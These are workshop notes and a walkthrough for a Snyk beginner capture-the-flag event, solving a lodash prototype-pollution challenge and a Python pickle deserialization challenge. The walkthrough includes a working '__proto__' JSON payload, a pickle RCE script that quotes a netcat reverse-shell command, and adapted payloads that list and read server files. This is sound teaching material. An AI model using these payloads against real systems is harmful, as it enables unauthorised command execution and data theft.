- Offered by: Snyk
- Video: https://www.youtube.com/watch?v=RqRlYwWwcCw
- Presented by Kyle Suero and Micah Silverman
- Register here: https://101.ctf-snyk.io/
- Register for Snyk: https://app.snyk.io/login
- Join us on Discord: https://discord.gg/mpjJ63Ps (DevSecOps community), the #snyk-ctf-⛳️ channel.
https://101.ctf-snyk.io/prerequisites
- Text editor
- Node.js
- python3
- curl
- Register for Snyk: https://app.snyk.io/login (free)
Bonus: Snyk CLI, Snyk IDE integration
Snyk (pronounced sneak) tests for vulnerabilities in your own code, open source dependencies, container images and infrastructure as code configurations, and offers context, prioritization, and remediation.
In short: to hone your security skills. They’re an extremely fun way to learn extremely practical, hands-on skills, which can help you throughout your career.
- Cross-functional: Not just analyzing in a vacuum, Language (JavaScript, Java, Python...), Database, Protocols (e.g. LDAP), Web Servers… all of these things communicating back and forth, and these are all things you might use in your job.
- Learn: How to do investigative work: pick up on clues, search around, avoid direct spoilers! Don’t just tell someone how to do it, pass them the flag… if you’re stuck, ask for guidance, we’ll help you get there.
- Social: A team sport. No one knows everything, and often you solve CTFs by collaborating with other people with complementary skills. Some CTFs are really, really hard!
A (non-working) example:
SNYK{9a9e3b2gd014635e125a62899f337b84bb5ac}
Each challenge is worth different points based on the difficulty, and you can see how many other people solved it.
Do:
- Share progress in chat
- Ask questions (and upvote) in “Q&A” area
- DM each other and official helpers for clues
Don’t:
- Drop spoilers in chat
- Hack the backend
- Do any criminal activity: there’s no challenge that requires DDOSing ;)
When first approaching a challenge, look for clues and breadcrumbs.
For example, is there a clue in the name?
There are two files involved: package.json and index.js, which tells you it’s a JavaScript challenge. That’s important, even if you maybe don’t know JavaScript yourself. You don’t always get those files to download in a CTF, but when you do have a tremendous “hint” as to what’s going on; this allows you to inspect the backend.
There’s also a URL:
http://invisible-ink.c.ctf-snyk.io/
This loads a web page with a “pseudo-API” showing an example HTTP POST and response.
Another clue is that in the response, there’s a flag
attribute.
How do you learn about interacting with this kind of API? Maybe try searching for things like “how does HTTP work?”
Think of HTTP as kind of a bulletin board:
- GET: read content on the board
- POST: place content on the board
- DELETE: remove content from the board
So it looks from the example like we’re going to POST some JSON data to the /echo
endpoint.
Also, some CTFs offer a hint of their own, as this one does. Looking at them is your option; it doesn’t dock you points. No shame in it. :)
The hint in this case is:
(In other words, install Snyk CLI)
This tool will help us with this challenge because we have access to the backend files.
OK, let’s start by making a request, following instructions on the page:
curl -H "Content-Type: application/json" -X POST http://invisible-ink.c.ctf-snyk.io/echo -d '{"message": "ping"}'
Output is exactly what the page told us to expect:
{"userID":"<redacted-IP>","time":1663488330013,"message":"ping","flag":"disabled"}
Hmmm. flag: disabled
. Interesting. I wonder if I could somehow make that NOT “disabled”?
(Remember: The whole idea is to trick the backend into revealing a “flag” to me.)
Remember the hint? Snyk can scan your code to highlight insecure dependencies.
What’s in package.json
? A list of dependencies. :)
{
"name": "Try-Snyk",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"dependencies": {
"lodash": "4.17.4",
"express": "4.17.1",
"body-parser": "1.19.0"
},
"author": "",
"license": "ISC"
}
Let’s run snyk test
snyk test .
Testing ....
Tested 51 dependencies for known issues, found 8 issues, 8 vulnerable paths.
Issues to fix by upgrading:
Upgrade [email protected] to [email protected] to fix
✗ Regular Expression Denial of Service (ReDoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-1018905] in [email protected]
introduced by [email protected]
✗ Regular Expression Denial of Service (ReDoS) [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-73639] in [email protected]
introduced by [email protected]
✗ Prototype Pollution [Medium Severity][https://security.snyk.io/vuln/npm:lodash:20180130] in [email protected]
introduced by [email protected]
✗ Command Injection [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724] in [email protected]
introduced by [email protected]
✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-567746] in [email protected]
introduced by [email protected]
✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-608086] in [email protected]
introduced by [email protected]
✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-450202] in [email protected]
introduced by [email protected]
✗ Prototype Pollution [High Severity][https://security.snyk.io/vuln/SNYK-JS-LODASH-73638] in [email protected]
introduced by [email protected]
...
Something that’s coming up over and over again is “prototype pollution” particularly related to lodash.
What is "prototype pollution"? A search reveals https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications
__proto__
is the way to access the underlying “blueprint” of a JavaScript object. Similar to the notion of “classes” in other languages.
We can “pollute” an instantiated object by modifying its blueprint in JavaScript.
Let’s look at the index.js
file now. Of interest:
const _ = require('lodash');
This loads the lodash code into a constant called “_
”
_.merge(out, req.body);
This stands out because what lodash does is allow you to take a JavaScript object and merge additional things into it.
const out = {
userID: req.headers['x-forwarded-for'] || req.connection.remoteAddress,
time: Date.now()
};
The out
variable is constructing the output we saw on the example: the user’s IP, the current time… so this will also merge in the request body. (This is a really bad idea, by the way :P ... you should NOT have unsanitized input sent to some function.)
Notice this:
if (options.flag) {
out.flag = flag;
} else {
out.flag = 'disabled';
}
If there is no optons.flag
set, then it’s going to return disabled
. But, if options.flag
IS true, it’s going to output the value of a flag, which is the whole point we’re trying to get to here.
Before, in our curl
request, we had the following at the end:
-d '{"message": "ping"}'
Let’s try instead:
-d '{"message": "ping", "__proto__": {"flag": true}}'
Re-run the curl
command and it should show you the actual flag now!
Copy/paste it into the challenge dashboard and you are done!
As before, let’s start with our clue-finding first.
First clue: this one’s worth more points, which means it’s a more difficult challenge.
We also see this challenge is a Python challenge.
We also see a question: “What goes best on a hotdog?” This is probably a misdirect. “Sauerkraut” is not going to be the answer. :)
Backend link:
http://sauerkraut.c.ctf-snyk.io/
Let’s try viewing source.
<!doctype html>
<head>
<title>Welcome to Sauerkraut!</title>
</head>
<body>
<h1>There's a flag here somewhere...</h1>
<form id="input" method="post" action="/">
<textarea rows="5" cols="60" name="text">Enter text here...</textarea><br>
<input type="submit" value="submit" id="submit" /><br>
</form>
<textarea rows="10" cols="60" name="output" readonly>
</textarea><br>
</body>
Nope. Nothing to see here. Very straight-forward HTML; no JavaScript references, no commented-out flags...
Let’s try submitting the form. We get:
Invalid base64-encoded string: number of data characters (13) cannot be 1 more than a multiple of 4
This tells us it’s expecting a base64 encoded string. File that away for later.
Try a few more inputs, see if there’s any other outputs you can generate.
Example: copy/paste “There's a flag here somewhere…” and submit, you get instead:
Invalid load key, '\x17'.
Let’s try searching Google for “invalid load key”
First link: https://stackoverflow.com/questions/33049688/what-causes-the-error-pickle-unpicklingerror-invalid-load-key
Lots of references here to “pickle” and “pickling”
Let’s try searching for “python pickle”
This brings up reference to https://docs.python.org/3/library/pickle.html which talks about Python object serialization
Note: Object serialization and deserialization is a source of a lot of security problems. It’s a technique to take a “live” object and convert it to a byte stream and store it somewhere: a file, a database... that’s serialization. Then deserialization, is reversing the process, which is where the danger comes in. You take the data stream, and reconstruct an object from it.
Very first thing you see on page is a warning:
This tells me that this is something that’s rife for exploitation, because right out of the gate we’re being told the pickle module is not secure.
Let’s look into that. Search Google for “python pickle exploit” … I want to learn more about this without being given a direct solution.
First result: https://davidhamann.de/2020/04/05/exploiting-python-pickle/ and you can skip straight to Creating the exploit https://davidhamann.de/2020/04/05/exploiting-python-pickle/#creating-the-exploit
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
'/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
Of note:
- There’s a class
RCE
(stands for “remote code execution”) - There’s a
__reduce__
function __reduce__
function calls a command- In the
__main__
method of this class, it’s “pickling” (or serializing) theRCE
class - Finally, it base64 encodes the result.
(Remember: our input is expected a base64 encoded string!)
Now, in this example, he’s going right for remote code execution, but we want to do something a bit simpler to verify that this is going to even work.
Our example replaces cmd
with:
cmd = ('whoami’);
Run this script with python3
(very important; Python 2 won’t give you the right output)
You will get output something like:
b'<lots-of-characters>='
Let’s copy the part of the string between quotes, paste it into the form and see what happens...
Nothing. Well that's a bit disappointing. But! I didn’t get an error, so we’re on the right track.
Further research showed that os.system()
is designed not to produce any output, so you need to use Python in a way that shows some output.
Now search for “python running shell command and capturing the output”
This brings up https://stackoverflow.com/questions/4760215/running-shell-command-and-capturing-the-output which points to another package called subprocess.check_output and this does produce visible output, in contrast to os.system()
.
Create a new file, called sauerkraut.py
:
import pickle
import base64
import subprocess
class RCE:
def __reduce__(self):
cmd = ('ls')
return subprocess.check_output, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
Run it with:
python3 sauerkraut.py
If you take the resulting string and paste it into the form and you get output!
b'app\nflag\ngunicorn_config.py\nrequirements.txt\n'
Which translates to a directory listing:
app
flag
gunicorn_config.py
requirements.txt
My eye is drawn to a file called “flag.”
Now I can issue a new command, by replacing that same cmd
line.
cmd = ['cat', 'flag']
Re-run the script and copy/paste its output between quotes to the form and submit.
Now it shows the value of the flag. Submit it and you’re done!
#Resources
- 24 CTF challenges on-demand: https://ctf-2021.snyk.io/ — our previous SnykCon CTF from last year.
- CTF 101 — shows you introductory concepts such as forensics that you need to know to play CTFs
- Hacker101 — baby’s first CTF, always-available, from (HackerOne)[https://www.hackerone.com/] bug bounty community
- picoCTF — beginner-oriented CTF
- TryHackMe/HackTheBox — fun self-contained challenges
- CTFtime — a list of real CTFs going on all over the world
In the DevSecOps Discord, we do CTFs together and you can work with internal Snyk researchers.
Follow Snyk on Twitch and Twitter to learn more about our products.
Follow Kyle Suero and Micah Silverman on Twitter.
Watch for SnykCon
A super janky way to add images. :P